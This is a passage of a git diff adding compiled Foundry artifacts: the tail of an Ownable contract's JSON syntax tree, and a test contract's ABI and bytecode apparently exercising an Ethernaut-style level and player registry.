0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":128,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1664:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":"address"},"id":130,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1664:10:1","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1655:19:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":132,"nodeType":"ExpressionStatement","src":"1655:19:1"}]},"documentation":"@dev Leaves the contract without owner. It will not be possible to call\n`onlyOwner` functions anymore. Can only be called by the current owner.\n * > Note: Renouncing ownership will leave the contract without an owner,\nthereby removing any functionality that is only available to the owner.","implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":118,"modifierName":{"argumentTypes":null,"id":117,"name":"onlyOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":104,"src":"1580:9:1","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"1580:9:1"}],"name":"renounceOwnership","parameters":{"id":116,"nodeType":"ParameterList","parameters":[],"src":"1570:2:1"},"returnParameters":{"id":119,"nodeType":"ParameterList","parameters":[],"src":"1590:0:1"},"scope":171,"stateMutability":"nonpayable","superFunction":null,"visibility":"public"},{"id":146,"nodeType":"FunctionDefinition","src":"1830:107:1","nodes":[],"body":{"id":145,"nodeType":"Block","src":"1892:45:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":142,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":136,"src":"1921:8:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":141,"name":"_transferOwnership","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":170,"src":"1902:18:1","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1902:28:1","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":144,"nodeType":"ExpressionStatement","src":"1902:28:1"}]},"documentation":"@dev Transfers ownership of the contract to a new account (`newOwner`).\nCan only be called by the current owner.","implemented":true,"kind":"function","modifiers":[{"arguments":null,"id":139,"modifierName":{"argumentTypes":null,"id":138,"name":"onlyOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":104,"src":"1882:9:1","typeDescriptions":{"typeIdentifier":"t_modifier$__$","typeString":"modifier ()"}},"nodeType":"ModifierInvocation","src":"1882:9:1"}],"name":"transferOwnership","parameters":{"id":137,"nodeType":"ParameterList","parameters":[{"constant":false,"id":136,"name":"newOwner","nodeType":"VariableDeclaration","scope":146,"src":"1857:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":135,"name":"address","nodeType":"ElementaryTypeName","src":"1857:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"1856:18:1"},"returnParameters":{"id":140,"nodeType":"ParameterList","parameters":[],"src":"1892:0:1"},"scope":171,"stateMutability":"nonpayable","superFunction":null,"visibility":"public"},{"id":170,"nodeType":"FunctionDefinition","src":"2038:225:1","nodes":[],"body":{"id":169,"nodeType":"Block","src":"2093:170:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":156,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":152,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":148,"src":"2111:8:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"30","id":154,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2131:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":153,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2123:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":"address"},"id":155,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2123:10:1","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"2111:22:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373","id":157,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2135:40:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_245f15ff17f551913a7a18385165551503906a406f905ac1c2437281a7cd0cfe","typeString":"literal_string \"Ownable: new owner is the zero address\""},"value":"Ownable: new owner is the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_245f15ff17f551913a7a18385165551503906a406f905ac1c2437281a7cd0cfe","typeString":"literal_string \"Ownable: new owner is the zero address\""}],"id":151,"name":"require","nodeType":"Identifier","overloadedDeclarations":[324,325],"referencedDeclaration":325,"src":"2103:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":158,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2103:73:1","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":159,"nodeType":"ExpressionStatement","src":"2103:73:1"},{"eventCall":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":161,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":71,"src":"2212:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":162,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":148,"src":"2220:8:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":160,"name":"OwnershipTransferred","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":77,"src":"2191:20:1","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address)"}},"id":163,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2191:38:1","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":164,"nodeType":"EmitStatement","src":"2186:43:1"},{"expression":{"argumentTypes":null,"id":167,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":165,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":71,"src":"2239:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":166,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":148,"src":"2248:8:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2239:17:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":168,"nodeType":"ExpressionStatement","src":"2239:17:1"}]},"documentation":"@dev Transfers ownership of the contract to a new account (`newOwner`).","implemented":true,"kind":"function","modifiers":[],"name":"_transferOwnership","parameters":{"id":149,"nodeType":"ParameterList","parameters":[{"constant":false,"id":148,"name":"newOwner","nodeType":"VariableDeclaration","scope":170,"src":"2066:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":147,"name":"address","nodeType":"ElementaryTypeName","src":"2066:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"2065:18:1"},"returnParameters":{"id":150,"nodeType":"ParameterList","parameters":[],"src":"2093:0:1"},"scope":171,"stateMutability":"nonpayable","superFunction":null,"visibility":"internal"}],"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":"@dev Contract module which provides a basic access control mechanism, where\nthere is an account (an owner) that can be granted exclusive access to\nspecific functions.\n * This module is used through inheritance. It will make available the modifier\n`onlyOwner`, which can be applied to your functions to restrict their use to\nthe owner.","fullyImplemented":true,"linearizedBaseContracts":[171],"name":"Ownable","scope":172}]},"id":1} \ No newline at end of file diff --git a/contracts/out/Player.t.sol/TestPlayer.json b/contracts/out/Player.t.sol/TestPlayer.json new file mode 100644 index 000000000..38a1f12da --- /dev/null +++ b/contracts/out/Player.t.sol/TestPlayer.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testLevel","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x6080604052600c8054600160ff199182168117909255601e8054909116909117905534801561002c575f80fd5b50619a418061003a5f395ff3fe608060405234801561000f575f80fd5b50600436106100da575f3560e01c806366d9a9a011610088578063b5508aa911610063578063b5508aa914610165578063ba414fa61461016d578063e20c9f7114610185578063fa7626d41461018d575f80fd5b806366d9a9a01461013357806385226c8114610148578063916a17c61461015d575f80fd5b80633e5e3c23116100b85780633e5e3c231461011b5780633f7286f4146101235780635e2d0f961461012b575f80fd5b80630a9254e4146100de5780631ed7831c146100e85780632ade388014610106575b5f80fd5b6100e661019a565b005b6100f0610a92565b6040516100fd9190612378565b60405180910390f35b61010e610af2565b6040516100fd91906123c4565b6100f0610c2e565b6100f0610c8c565b6100e6610cea565b61013b611d61565b6040516100fd91906124b4565b610150611e57565b6040516100fd919061256f565b61013b611f22565b610150612018565b6101756120e3565b60405190151581526020016100fd565b6100f06121b3565b601e546101759060ff1681565b6040516101a69061235c565b604051809103905ff0801580156101bf573d5f803e3d5ffd5b50601f80546001600160a01b0319166001600160a01b039290921691821790556040517f792e11f5000000000000000000000000000000000000000000000000000000008152600960048201525f919063792e11f5906024015f604051808303815f875af1158015610233573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261025a919081019061262b565b9050805f8151811061026e5761026e6126eb565b60209081029190910181015181546001600160a01b0319166001600160a01b0391821617909155602154604080516318caf8e360e31b81529190921660048201526024810191909152600960448201527f45746865726e61757400000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b15801561031a575f80fd5b505af115801561032c573d5f803e3d5ffd5b5050505080600181518110610343576103436126eb565b6020908102919091010151602180546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b8152600480820193909352602481019190915260448101919091527f55736572000000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156103ef575f80fd5b505af1158015610401573d5f803e3d5ffd5b5050505080600281518110610418576104186126eb565b6020908102919091010151602280546001600160a01b0319166001600160a01b03928316179055602154604080516318caf8e360e31b81529190921660048201526024810191909152600660448201527f55736572203200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156104c4575f80fd5b505af11580156104d6573d5f803e3d5ffd5b50505050806003815181106104ed576104ed6126eb565b6020908102919091010151602380546001600160a01b0319166001600160a01b03928316179055602154604080516318caf8e360e31b81529190921660048201526024810191909152600660448201527f55736572203300000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610599575f80fd5b505af11580156105ab573d5f803e3d5ffd5b50505050806004815181106105c2576105c26126eb565b6020908102919091010151602480546001600160a01b0319166001600160a01b039092169182178155604080516318caf8e360e31b8152600481019390935290820152600f60448201527f4c6576656c20466163746f7279203100000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610668575f80fd5b505af115801561067a573d5f803e3d5ffd5b5050505080600581518110610691576106916126eb565b6020908102919091010151602580546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600f60448201527f4c6576656c20466163746f7279203200000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610738575f80fd5b505af115801561074a573d5f803e3d5ffd5b5050505080600681518110610761576107616126eb565b6020908102919091010151602680546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652031000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015610808575f80fd5b505af115801561081a573d5f803e3d5ffd5b5050505080600781518110610831576108316126eb565b6020908102919091010151602780546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652032000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156108d8575f80fd5b505af11580156108ea573d5f803e3d5ffd5b5050505080600881518110610901576109016126eb565b6020908102919091010151602880546001600160a01b0319166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152601060448201527f4c6576656c20496e7374616e63652033000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156109a8575f80fd5b505af11580156109ba573d5f803e3d5ffd5b505050506040516109ca9061236a565b604051809103905ff0801580156109e3573d5f803e3d5ffd5b50601e80547fffffffffffffffffffffff0000000000000000000000000000000000000000ff166101006001600160a01b03938416810291909117918290556020546040517fc4d66de8000000000000000000000000000000000000000000000000000000008152908416600482015291049091169063c4d66de8906024015f604051808303815f87803b158015610a79575f80fd5b505af1158015610a8b573d5f803e3d5ffd5b5050505050565b60606016805480602002602001604051908101604052809291908181526020018280548015610ae857602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610aca575b5050505050905090565b6060601d805480602002602001604051908101604052809291908181526020015f905b82821015610c25575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015610c0e578382905f5260205f20018054610b83906126ff565b80601f0160208091040260200160405190810160405280929190818152602001828054610baf906126ff565b8015610bfa5780601f10610bd157610100808354040283529160200191610bfa565b820191905f5260205f20905b815481529060010190602001808311610bdd57829003601f168201915b505050505081526020019060010190610b66565b505050508152505081526020019060010190610b15565b50505050905090565b60606018805480602002602001604051908101604052809291908181526020018280548015610ae857602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610aca575050505050905090565b60606017805480602002602001604051908101604052809291908181526020018280548015610ae857602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610aca575050505050905090565b6020546040517f06447d560000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015610d59575f80fd5b505af1158015610d6b573d5f803e3d5ffd5b5050601e546024805460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090930416935063cd819a6f9250015f604051808303815f87803b158015610db9575f80fd5b505af1158015610dcb573d5f803e3d5ffd5b5050601e54602480546040517ff3a399090000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152610e64955061010090930416925063f3a3990991015b602060405180830381865afa158015610e3b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5f9190612737565b612211565b60405163f28dceb360e01b815260206004820152601460248201527f4c6576656c20616c7265616479206578697374730000000000000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015f604051808303815f87803b158015610edb575f80fd5b505af1158015610eed573d5f803e3d5ffd5b5050601e546024805460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090930416935063cd819a6f9250015f604051808303815f87803b158015610f3b575f80fd5b505af1158015610f4d573d5f803e3d5ffd5b5050601e5460265460248054602154604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015610fb5575f80fd5b505af1158015610fc7573d5f803e3d5ffd5b5050601e546021546040517fba5d80820000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152611021945061010090920416915063ba5d808290602401610e20565b60405163f28dceb360e01b815260206004820152601360248201527f4c6576656c20646f65736e2774206578697374000000000000000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015f604051808303815f87803b158015611098575f80fd5b505af11580156110aa573d5f803e3d5ffd5b5050601e54602654602554602154604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b15801561110e575f80fd5b505af1158015611120573d5f803e3d5ffd5b5050601e5460265460248054602154604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015611188575f80fd5b505af115801561119a573d5f803e3d5ffd5b5050601e546021546024805460405163e2d8716f60e01b81526001600160a01b039384166004820152908316918101919091526111e9945061010090920416915063e2d8716f90604401610e20565b60405163f28dceb360e01b815260206004820152601460248201527f506c6179657220646f65736e27742065786973740000000000000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063f28dceb3906064015f604051808303815f87803b158015611260575f80fd5b505af1158015611272573d5f803e3d5ffd5b5050601e5460265460248054602254604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b1580156112da575f80fd5b505af11580156112ec573d5f803e3d5ffd5b5050601e5460255460405163cd819a6f60e01b81526001600160a01b03918216600482015261010090920416925063cd819a6f91506024015f604051808303815f87803b15801561133b575f80fd5b505af115801561134d573d5f803e3d5ffd5b5050601e54602754602554602254604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b1580156113b1575f80fd5b505af11580156113c3573d5f803e3d5ffd5b505060405163f28dceb360e01b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201527f65617465640000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063f28dceb391506084015f604051808303815f87803b158015611464575f80fd5b505af1158015611476573d5f803e3d5ffd5b5050601e5460265460248054602254604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b1580156114de575f80fd5b505af11580156114f0573d5f803e3d5ffd5b505060405163f28dceb360e01b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c657465640000000000000000006044820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063f28dceb391506064015f604051808303815f87803b15801561156b575f80fd5b505af115801561157d573d5f803e3d5ffd5b5050601e5460265460248054602154604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b1580156115e5575f80fd5b505af11580156115f7573d5f803e3d5ffd5b5050601e54602754602554602154604051637e4326d360e01b81526001600160a01b039384166004820152918316602483015282166044820152610100909204169250637e4326d391506064015f604051808303815f87803b15801561165b575f80fd5b505af115801561166d573d5f803e3d5ffd5b5050601e546027546025546021546040516306878c8f60e51b81526001600160a01b03938416600482015291831660248301528216604482015261010090920416925063d0f191e091506064015f604051808303815f87803b1580156116d1575f80fd5b505af11580156116e3573d5f803e3d5ffd5b5050601e546027546025546021546040516306878c8f60e51b81526001600160a01b03938416600482015291831660248301528216604482015261010090920416925063d0f191e091506064015f604051808303815f87803b158015611747575f80fd5b505af1158015611759573d5f803e3d5ffd5b5050601e5460225460255460405163e2d8716f60e01b81526001600160a01b03928316600482015290821660248201526117e4945061010090920416915063e2d8716f90604401602060405180830381865afa1580156117bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117df9190612737565b612287565b601e546021546040517f8b146ad60000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f92610100900490911690638b146ad690602401602060405180830381865afa15801561184f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611873919061275d565b90506118808160026122d9565b601e546021546040517f763fdb450000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f9261010090049091169063763fdb4590602401602060405180830381865afa1580156118eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061190f919061275d565b905061191c8160016122d9565b601e546021546040517f7a9b6dda0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f92610100900490911690637a9b6dda90602401602060405180830381865afa158015611987573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119ab919061275d565b90506119b88160026122d9565b601e546021546040517fbc3086a20000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201525f9261010090049091169063bc3086a290602401602060405180830381865afa158015611a23573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a47919061275d565b9050611a5b816706f05b59d3b200006122d9565b601e5460265460248054602354604051637e4326d360e01b81526001600160a01b0394851660048201529184169282019290925290821660448201526101009092041690637e4326d3906064015f604051808303815f87803b158015611abf575f80fd5b505af1158015611ad1573d5f803e3d5ffd5b5050601e5460275460248054602354604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015611b39575f80fd5b505af1158015611b4b573d5f803e3d5ffd5b5050601e5460285460248054602354604051637e4326d360e01b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250637e4326d391506064015f604051808303815f87803b158015611bb3575f80fd5b505af1158015611bc5573d5f803e3d5ffd5b50737109709ecfa91a80626ff3989d68f67f5b1dd12d925063e5d6bf029150611bf19050426003612774565b6040518263ffffffff1660e01b8152600401611c0f91815260200190565b5f604051808303815f87803b158015611c26575f80fd5b505af1158015611c38573d5f803e3d5ffd5b5050601e5460285460248054602354604051631601c61960e11b81526001600160a01b039485166004820152918416928201929092529082166044820152610100909204169250632c038c3291506064015f604051808303815f87803b158015611ca0575f80fd5b505af1158015611cb2573d5f803e3d5ffd5b5050601e54602354602480546040517f8dc035350000000000000000000000000000000000000000000000000000000081526001600160a01b03938416600482015290831691810191909152611d5b9450610100909204169150638dc0353590604401602060405180830381865afa158015611d30573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d54919061275d565b60036122d9565b50505050565b6060601b805480602002602001604051908101604052809291908181526020015f905b82821015610c25575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015611e3f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411611dec5790505b50505050508152505081526020019060010190611d84565b6060601a805480602002602001604051908101604052809291908181526020015f905b82821015610c25578382905f5260205f20018054611e97906126ff565b80601f0160208091040260200160405190810160405280929190818152602001828054611ec3906126ff565b8015611f0e5780601f10611ee557610100808354040283529160200191611f0e565b820191905f5260205f20905b815481529060010190602001808311611ef157829003601f168201915b505050505081526020019060010190611e7a565b6060601c805480602002602001604051908101604052809291908181526020015f905b82821015610c25575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801561200057602002820191905f5260205f20905f905b82829054906101000a900460e01